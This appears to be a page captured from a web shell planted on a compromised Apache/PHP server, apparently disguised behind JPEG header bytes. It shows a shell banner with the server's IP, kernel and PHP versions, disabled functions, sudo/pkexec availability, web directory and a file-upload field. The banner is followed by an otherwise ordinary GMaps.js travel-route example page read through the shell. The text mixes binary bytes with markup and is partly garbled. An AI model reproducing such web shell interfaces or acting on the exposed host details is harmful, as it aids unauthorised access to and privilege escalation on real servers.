����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.253 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/admin/assets/plugins/gmaps/examples/ |
Upload File : |
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>GMaps.js — Travel Route</title> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> <script src="http://maps.google.com/maps/api/js?sensor=true"></script> <script src="../gmaps.js"></script> <link rel="stylesheet" href="http://twitter.github.com/bootstrap/1.3.0/bootstrap.min.css" /> <link rel="stylesheet" type="text/css" href="examples.css" /> <script type="text/javascript"> var map; var route; $(document).ready(function(){ $('#forward').attr('disabled', 'disabled'); $('#back').attr('disabled', 'disabled'); $('#get_route').click(function(e){ e.preventDefault(); map.getRoutes({ origin: [map.markers[0].getPosition().lat(), map.markers[0].getPosition().lng()], destination: [map.markers[map.markers.length-1].getPosition().lat(), map.markers[map.markers.length-1].getPosition().lng()], callback: function(e){ route = new GMaps.Route({ map: map, route: e[0], strokeColor: '#336699', strokeOpacity: 0.5, strokeWeight: 10 }); $('#forward').removeAttr('disabled'); $('#back').removeAttr('disabled'); } }); $('#forward').click(function(e){ e.preventDefault(); route.forward(); if(route.step_count < route.steps_length) $('#steps').append('<li>'+route.steps[route.step_count].instructions+'</li>'); }); $('#back').click(function(e){ e.preventDefault(); route.back(); if(route.step_count >= 0) $('#steps').find('li').last().remove(); }); }); map = new GMaps({ el: '#map', lat: -12.043333, lng: -77.028333, zoom: 16, height: '500px', click: function(e){ map.addMarker({ lat: e.latLng.lat(), lng: e.latLng.lng() }); } }); }); </script> </head> <body> <h1>GMaps.js — Travel route</h1> <div class="row"> <div class="span16"> <div id="map" class="large"></div> </div> <div class="span5"> <div class="row"> <a href="#" class="btn" id="get_route">Get route</a> <a href="#" class="btn" id="back">« Back</a> <a href="#" class="btn" id="forward">Forward »</a> </div> <div class="row"> <ul id="steps"> </ul> </div> </div> </div> </body> </html>